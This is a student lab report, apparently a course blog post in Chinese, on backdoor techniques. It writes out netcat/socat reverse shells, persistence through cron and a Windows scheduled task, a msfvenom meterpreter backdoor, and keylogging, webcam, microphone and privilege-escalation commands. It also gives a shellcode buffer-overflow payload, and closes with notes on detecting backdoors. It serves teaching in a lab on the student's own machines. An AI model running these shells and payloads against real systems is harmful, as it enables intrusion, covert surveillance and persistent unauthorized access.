2019-2020-2 20175113完瑞 《网络对抗技术》Exp2 后门原理与实践

Exp2 后门原理与实践

一、实验要求

1.使用netcat获取主机操作Shell,cron启动

2.使用socat获取主机操作Shell, 任务计划启动

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

二、实验内容

实验准备

查询win10和kali Linux的ip地址

  • Windows查询IP: Win+R 打开运行,输入 cmd 打开命令提示符,输入 ipconfig 查询到 IP:192.168.2.233

  • Linux查询IP:打开终端输入 ifconfig 或 ip add 查询到IP:192.168.81.129

 关闭win10和kali Linux的防火墙

  • Windows关闭防火墙:控制面板→系统和安全→Windows防火墙→关闭防火墙(如果有自带的防火墙软件如迈克菲,打开软件首页关闭防火墙)
  • Linux关闭防火墙:
    • 打开终端,安装 apt-get install ufw 
    • 输入ufw disable 关闭防火墙

Windows下载ncat和socat:https://gitee.com/wildlinux/NetSec/attach_files

 

1.使用netcat获取主机操作Shell,cron启动

 ①Win获得Linux Shell

  • Windows打开监听: ncat.exe -l -p 5113 
  • kali反弹连接Windows: nc 192.168.2.233 5113 -e /bin/sh 
  • 可以发现Windows获得linux shell,可以执行Linux指令 ls

 

 

 ②Linux获得Windows Shell

  • kali打开监听端口: nc -l -p 5113 
  • Windows反弹连接Linux: ncat.exe -e cmd.exe 192.168.81.129 5113 
  • 可以发现kali获得Windows shell,可以执行Windows指令 dir

 

③nc传输数据

  • Windows命令提示符输入  ncat.exe -l 5113 > 5113.out (将kali输入数据输出的5113.out文件)
  • kali终端输入 nc 192.168.2.233 5113 < 5113.in (将5113.in文件中数据发送给Windows)

 

④cron启动

  • Windows命令提示符打开端口监听: ncat.exe -l -p 5113 

  • kali终端输入 crontab -e 
  • 在 crontab 文件最后一行添加 59 8 16 3 * /bin/netcat 192.168.2.233 5113 -e /bin/sh (cron是一个Linux下的定时执行工具,这里意为在3月16日8点59分执行反弹连接指令,由于我的kali虽然显示20:59,但事实上这是时区+8的结果,机器还是时区+0,即8:59),crontab文件  Ctrl+o +回车保存, Ctrl+x 退出
  • 可以发现Windows到了20:59就获得了Shell

2.使用socat获取主机操作Shell, 任务计划启动

Windows:

  • 控制面板→系统和安全→管理工具→任务计划
  • 添加新任务,设置名称为2017515113socat,设置触发器为系统启动时
  • 设置操作为启动程序,路径选择之前下载好的socat文件中的exe文件,添加参数为 tcp-listen:5113 exec:cmd.exe,pty,stderr 

kali:

  • 终端输入 socat - tcp:192.168.2.233:5113 ,发现获得了Windows Shell

 

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • kali终端安装1.17.3版本的bundler gem install bundler:1.17.3 
  • 生成后门程序: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 -f exe > 20175113_backdoor.exe 

  • Windows命令提示符打开监听端口: ncat.exe -lv 5113 > 20175113_backdoor.exe 

  • kali终端发送: nc 192.168.2.233 5113 < 20175113_backdoor.exe 

  • kali终端打开 msfconsole控制台: msfconsole 
  • 在 msfconsole控制台进行:
use exploit/multi/handler         //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
set LHOST 192.168.81.129       //Linux端的IP地址 
set LPORT 5113    //与之前输入的端口号一致
exploit    //开始监听
  • Windows打开后门程序 20175113_backdoor.exe
  • 可以发现kali获得了Windows Shell

 

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 录音: record_mic 

  • 拍照: webcam_snap 

  • 记录击键: keyscan_start ,读取击键记录: keyscan_dump 

  • 截屏: screenshot 

  • 查看用户: getuid 

  • 提权: getsystem (这里直接成功,就不做绕开UAC机制的伪装了,如果遇到了UAC机制,可以参考这篇博客

 

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 按照实验一,关闭地址随机化,设置堆栈可执行,打开两个终端进行调试找到shellcode地址:0xffffd3cc+4=0xffffd6d0

  •  下载 linux/x86 - Reverse 文件,打开C文件查看机器码

  •  构造input文件:
    perl -e 'print "A" x 32;print"\xd0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

     

终端1️⃣打开 msfconsole 控制台:

use exploit/multi/handler   //启用侦听模块
set payload linux/x86/shell_reverse_tcp  //设置payload
set LHOST 127.0.0.1   //设置LHOST
set LPORT 4444  //设置LPORT
exploit    //开始监听

终端2️⃣输入: (cat input_shellcode;cat) | ./20175113pwn 

可以发现终端1️⃣ msfconsole 控制台获得了shell

 

三、实验总结

1.问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

①下载盗版软件,盗版软件可能是由应用程序和后门程序一起压缩得来的,启动盗版软件就会启动后门程序

②不安全网站点击图片,图片可能包含后门程序链接,点击就会自动下载后门程序,安装进电脑自启动

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Windows通过修改注册表信息,创建自启动任务启动;

Linux通过缓冲区溢出攻击,将正常的跳转进行修改将跳转地址改到相应的后门程序存在的地址中,在执行相应操作之后即可跳转到相应的后门

(3)Meterpreter有哪些给你映像深刻的功能?

控制麦克风、摄像头,记录击键,再联想到黑镜,更觉得没有隐私

(4)如何发现自己有系统有没有被安装后门?

①wireshark抓包分析异常IP、端口、数据包;

②netstat查看端口服务;

③autorun查看自启动项;

④regedit查看注册表;

⑤手动查杀木马文件;

⑥杀毒软件扫描;

⑦及时更新浏览器、杀毒软件等。

 

2.实验感想

       在信息安全技术课学过木马原理,做过生成和查杀木马的实验,对后门有一定了解。经过这次实验,对后门有了更直观的感受,现代社会我们的隐私保护真是脆弱,要更好地保护隐私,不能单单依靠杀软和防火墙,要不断学习新兴技术,做到有备无患,学无止境。

       在实验过程中遇到各种各样的问题,要及时和同学、老师交流,分享问题、心得使我进步!

posted @ 2020-03-17 16:16  20175113完瑞  阅读(273)  评论(0编辑  收藏  举报